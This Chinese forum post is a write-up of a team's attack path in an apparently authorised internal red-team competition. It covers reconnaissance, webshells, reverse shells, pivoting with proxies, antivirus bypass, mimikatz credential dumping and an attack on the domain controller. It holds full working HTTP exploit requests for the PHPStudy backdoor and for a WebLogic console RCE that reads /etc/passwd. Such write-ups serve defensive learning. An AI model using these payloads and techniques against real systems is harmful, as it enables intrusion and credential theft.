问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
一次内部攻防对抗比赛记录
渗透测试
前段时间公司内部举行了为期一周的攻防对抗比赛,在这里分享下我们队的攻击过程,如果有不足之处还望各位大佬多多包涵。
0x00 前言 ======= 这次比赛的靶标是拿到商业计划书,给的入口信息只有一个域名www.xxx-qq.com 0x01 域名信息搜集 =========== 在线扫描子域名, 发现4个子域名及4个IP: ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-04cc6e0ab354907ffdede9278f2286b2f5d03a71.png) 收集到子域名后,使用fscan扫一波信息(忘截图了),接着开始打点 0x02 172.31.40.136 PHPStudy命令执行 =============================== 扫描目录发现PHP探针文件,其中l.php中暴露了绝对路径,并且发现使用了PHPstudy ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-22f0ec4413feeb3413513c7d47fb221312d23c4e.png) ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-5b3d071fbc8004b28bf3777f0134e75d90042547.png) 从l.php可以看出探针版本是较早的,就联想到之前的PHPStudy后门事件,然后就试着打了一发POC,成功执行了命令: ```php GET /phpinfo.php HTTP/1.1 Host: 172.31.40.136:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:98.0) Gecko/20100101 Firefox/98.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8 X-Forwarded-For: 172.31.40.136 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip,deflate Accept-Charset: ZWNobyBzeXN0ZW0oIm5ldCB1c2VyIik7 Connection: close Upgrade-Insecure-Requests: 1 ``` ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-99b00919b29572f197593d1f86e643ecc446c448.png) 此时能够执行命令,又知道web绝对路径,利用命令执行写入webshell,这里用的是powershell命令写入,更简便的方法是利用PHP写文件函数写入: ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-f2bb7bde17f80cafe3512b5274c875fb221e4878.png) ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-690a95d1ba4efbbe16638690dbbe99e466dcf8cd.png) 写入成功后使用蚁剑连接webshell: ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-5b6f9748c7c4c26713fc3cc619a9db17a05d9408.png) 0x03 172.31.40.235 文件上传+nginx解析漏洞 ================================= 扫描目录,发现文件上传页面: ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-5fde4729444de1e661d2054e7f701c14d6128906.png) ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-05317058d4afe60fa7f06a3b890c98b140eba907.png) 刚开始以为这里只是一个简单的文件上传漏洞,结果上传的时候发现有白名单限制,没绕过去,就决定再搜集下信息。然后发现使用了nginx,并且版本为1.15.11,此时联想到了这个版本存在解析漏洞,在文件后面加上.php就会把这个文件解析成PHP文件 ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-9b01ead1dcf6f84fc0940749abcc6cbee12d0056.png) **文件上传+Nginx解析漏洞利用:** 制作图片马上传,然后利用解析漏洞getshell ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-bcdec3436b3e0016603ee0e46f163ffd9fd8f75f.png) 蚁剑连接: webshell的为http://172.31.40.235:8080/upload/tiantian.jpg/.php ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-10a001b366ece81239177ef2d0015fc08a039d90.png) 0x04 172.31.35.129 ssh弱口令 ========================= 刚开始打算从web侧进行突破,但是迟迟没有进展,就决定爆破一波弱口令,就发现了一个SSH弱口令账号test/123456 ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-d92af3da7df1dd95afc677c9114eebe31a150a70.png) 目前已经拿到了DMZ区的3个权限,准备搭个frp代理出来。因为拿到了172.31.35.129这台主机的SSH账号和密码,这样的话维权也比较方便,就在172.31.35.129上搭建了frp代理 ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-a5e5a2d2a5bcd4b7136f5d266339f0dfc0d55e79.png) 本地连上frp代理后,同样使用fscan对C段进行扫描,然后快速打点: ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-1075df88317a05d6e6e940c19348dbc98765ca35.png) 0x05 192.168.11.26 weblogic CVE-2020-12882命令执行 ============================================== 发现192.168.11.26是weblogic,然后打了一波weblogic命令执行EXP,发现存在CVE-2020-12882漏洞 ```php GET /console/css/%252e%252e%252fconsolejndi.portal?test\_handle=com.tangosol.coherence.mvel2.sh.ShellSession(%27weblogic.work.ExecuteThread%20currentThread%20=%20(weblogic.work.ExecuteThread)Thread.currentThread();%20weblogic.work.WorkAdapter%20adapter%20=%20currentThread.getCurrentWork();%20java.lang.reflect.Field%20field%20=%20adapter.getClass().getDeclaredField(%22connectionHandler%22);field.setAccessible(true);Object%20obj%20=%20field.get(adapter);weblogic.servlet.internal.ServletRequestImpl%20req%20=%20(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod(%22getServletRequest%22).invoke(obj);%20String%20cmd%20=%20req.getHeader(%22cmd%22);String\[\]%20cmds%20=%20System.getProperty(%22os.name%22).toLowerCase().contains(%22window%22)%20?%20new%20String\[\]{%22cmd.exe%22,%20%22/c%22,%20cmd}%20:%20new%20String\[\]{%22/bin/sh%22,%20%22-c%22,%20cmd};if(cmd%20!=%20null%20){%20String%20result%20=%20new%20java.util.Scanner(new%20java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter(%22\\\\A%22).next();%20weblogic.servlet.internal.ServletResponseImpl%20res%20=%20(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod(%22getResponse%22).invoke(req);res.getServletOutputStream().writeStream(new%20weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();}%20currentThread.interrupt(); HTTP/1.1 Host: 192.168.11.26:7001 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:98.0) Gecko/20100101 Firefox/98.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8 cmd: cat /etc/passwd Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 X-Forwarded-For: 172.31.40.99 Accept-Encoding: gzip, deflate Connection: close Cookie: ADMINCONSOLESESSION=WHqrvH8XRq2j2nId4ceZgd2kL6Efx8jIdDF5dORfgPHTtTIriMAe!1051469142 Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 ``` ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-44ab99348a0b36e8c00e7d809c7f854926a55ef3.png) 执行命令反弹shell失败,猜测被waf拦截,然后通过下载sh文件执行,成功反弹shell: ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-6db0aa8d81745e9c67b7c96d3ab18c49da0e7d7c.png) ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-8e5e7172d29124d3b385a244d1d14ea7f661aa83.png) ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-5580b998bf56ccb805f59200eb7e9c152023cb43.png) 0x06 192.168.11.124 后台文件上传 ========================== 192.168.11.124上是一个Textpattern CMS,前台是一个登录页面 扫描目录发现备份文件backup.zip: ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-175cad5d4a1bee8e992d6f145e7c9c1c484e455f.png) 在config.php中发现账号和密码: ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-83a5f75e003dfd2d48a2d8356ef64c622461092c.png) 使用账号密码登录后台: ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-6178e89eb9203f5a9e819d627ee5003764afca8f.png) 后台可以直接上传PHP文件,直接上传冰蝎马: ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-baac2b1cc10c7459b9ce91247523474c3c4fbfc9.png) ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-e13120bcff00f55ee1a63d987042a3f8afbf6342.png) 冰蝎连接webshell: ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-fd0d74dac02d2ecf65e95dab2698f770660b97df.png) 拿到的以上主机,发现都不是NAT,没找到在办公区的主机。猜想是因为信息收集工作不到位,存活主机没搜集全,然后在已经获得权限的主机上收集其他存活主机, 在192.168.11.27(172.31.35.129)这台主机上查看arp列表,发现几台之前未发现的主机,猜想是因为之前用fscan扫描时没加上-np(不使用ping)的原因 ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-aafc4ccef072bc7fd03dfbd9404240c7bba003be.png) 使用fscan对新发现的主机进行简单扫描,然后进行利用 0x07192.168.11.180 fastjson远程命令执行 ================================= 192.168.11.180入口是一个登录页面,抓包发现是json格式,尝试打一波fastjson远程命令执行,发现dnslog有解析记录(忘截图了)。在写入webshell时折腾了很久,因为找不到web绝对路径,然后就只能不断的执行命令翻目录,最后终于找到了绝对路径 ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-7e6aeef408de1b95cf89da9436b01cf097903eec.png) 写入base64编码后的jsp webshell: ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-512cb1cd320e45c4997e584342bcfd365c7e092a.png) 使用certuil进行解码: ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-6fa032c67f0b6128158988549e5f8c5dc651e15f.png) 蚁剑连接webshell: ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-1972fded53530ccdab6d2998c80e42c2036b1e43.png) 0x08 192.168.11.12 redits弱密码getshell ==================================== 使用fcan单个扫描发现redits弱密码admin123,同时发现开了8080端口 ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-28b73f2bde2e3869152f6463e8e7b010af1157c6.png) 尝试反弹shell未果,着手从8080端口入手,扫描目录发现test.php ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-bd9617d420f7386ee783b7ec62cfbc28fb2a666f.png) 访问test.php发现为phpinfo页面,泄露了网站绝对路径 ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-9396cbf5c5681b7f33234bd2d51c00a2c0874ac7.png) 然后利用redits写入webshell: ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-efa5fcae687b9fa488e379378733b32a9806daac.png) ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-3cfe9ef0f00c8573199046b80c7a42de44b3e1d5.png) 蚁剑成功连接webshell: ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-59c60e77890beb8a11a8fe94d98befd901383408.png) 部分命令无回显,利用webshell上传nc.exe反弹shell,nc反弹的shell可以绕过杀软进程链拦截 ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-165b891d2df20247880a1d0108840169ee2af6b4.png) 成功返回shell并发现了172网段 ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-6125cd6cd3c7d3a33ebc33b3d853e317de13e5a9.png) 在192.168.11.12这台主机上搭建代理 ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-caa35376fbbbe0a7416789ec7f5838e79c90871b.png) 再次利用fscan工具对172网段进行扫描 ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-73008ef26e1fd5c47f4c972c62f78244daa46da7.png) ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-faeedc3e9d8e4c95200d981950d03af9f0e6d624.png) 0x09 172.32.10.30 SMB共享泄露密码 =========================== 爆破C段445和139端口,发现172.32.10.30存在smb未授权,用smbclient连接,在文件中发现账号和密码 ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-fb10af4e04a1f861551dd4da46884976cb7d7a0f.png) ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-336d9c5153a2b09040e585bff738c2e22cebcac1.png) ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-3b92c44832b180f1889ba3ff1e8631e2dcc4acda.png) 使用psexec和smbexec连接失败,应该是被杀软拦截了,最后发现使用wmi可以远程执行命令 ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-026e4a0f939c9f358385516472a99bfba0a39c81.png) 0x10 172.32.10.59 Apache log4j2远程命令执行 ===================================== 发现172.32.10.59在端口8080、7777和8899开放了web服务,但访问首页内容基本没啥信息。扫描目录在172.32.10.59:7777/test.txt中发现提示,刚开始时并不知道这是一个提示,后面才意识到这可能是一个提示(23333333) ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-bf049c0ebd7b92ac6687f33541f5397cc533cd13.png) ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-d367f9f2c433c4472db0351f9b08db7984293582.png) 加上路径publiccms扫描8080、7777、8899端口上的目录,在8080上发现publiccms文件路径: ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-f99d33226da767e244f4945bb59b7481463fa13d.png) ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-e615fc4026d9e1abe0533401216d2359dec189a0.png) 访问登录页面使用弱口令登入未果,因为对这个CMS不了解,就尝试在github上搜一下源码,发现最新版有关于log4j的更新 项目地址:<https://github.com/sanluan/PublicCMS/tree/master/publiccms-parent> ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-6efdbbf143682d822c51cc8d6ae8f4a5ed49f169.png) 在登录页面尝试log4j2远程命令执行,发现dnslog有记录 ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-5d59022256af54811931794bcc72b046888b565a.png) 使用命令回显payload: ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-8219326c382121b969e2043262f19a0a32ee7b0b.png) 发现主机上有火绒,直接添加用户被拦截,先执行命令将net1.exe复制为aaa.txt ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-def6c22e1ac488415f4d402d4ed77bd242bd45ca.png) 执行powershell命令绕过火绒添加用户,空密码(更好的方法是激活guest用户,但当时我忘记将guest用户添加到管理组了,就无法远程登陆,后面才反应过来) ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-e77c40da4212af3a37023e4dd9f71f953d361d9b.png) 修改密码,并添加到管理组: ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-56b1b7aae96593a570b0548027553dfff44cefb8.png) ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-b3af13ebb36d4c020466c030a4ef3d6a0b42c51e.png) 远程桌面,发现RDP端口不是3389,扫一波全端口,发现端口33389,顺利进入远程桌面 ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-c2bc9791b5ec376968db045bf4b2b9725a5f8810.png) ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-9edd4f2cbcca878278ad3409312313269ea45df8.png) 远程桌面后上线CS,搜集本地信息,发现RDP连接记录: ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-b89b10cacdd01c5d6b302d6ee1ed27b0cd609af5.png) ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-487277b02c558191e2cd5b3687755482aa0c10e1.png) 尝试在CS上执行mimikatz命令破解RDP连接密码,但由于版本原因报错了,之后上传到本地mimikatz破解连接密码 得到域用户名:dev\\user02 密码:1QvNpiXSVR ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-358aeac0ce7b2814ce797c07cbfb951283f0a0a6.png) 远程172.32.10.234桌面,发现10网段 ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-a34dadc58c97c01b45b707f99c823ad359135411.png) 简单域信息搜集,域名dev.corp1.com,域控IP 10.5.12.248 ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-c5e95013b234044831cc8947ccc0283e2a700799.png) 发现主机不出网,域内有AppLocker限制,但可以执行dll。拿到的域账号权限很低,无法登录其他主机。在172.32.10.59上搭建会话中转,然后生成beacon.dll文件执行上线CS ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-3fb60190f834d8931aa95d68244ada8c60c622c9.png) 0x11 10.5.12.248(DEV01) ======================= 利用CS会话搭建socks4a代理后利用CVE-2021-42887域用户提权漏洞打域控: ![图片.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-8560a083a9d7d9f3057c4b928356b3c742134ce9.png) 利用CVE-2021-42887域用户提权漏洞打域控后,当时打成功后没有及时进行权限维持和利用,截完图就下班了,第二天发现打不了了,因为机器账户已经达到限制,很可惜。然后尝试使用其他域用户提权漏洞打均没有成功,然后接下来我的思路是绕过域内的AppLocker限制提权,结果一直未成功,最后因为时间原因不得不到此为止。 0x12 总结 ======= 这次攻防比赛感觉入口点比较简单,难点在于后面的域渗透,在这期间我们不断转换思路,前期的思路是快速打点,突破网段隔离。到办公区后发现从web侧突破较难,就开始中注重本机的信息搜集,然后横向利用。
发表于 2022-04-18 09:39:42
阅读 ( 8547 )
分类:
内网渗透
8 推荐
收藏
0 条评论
请先
登录
后评论
Smiler
2 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!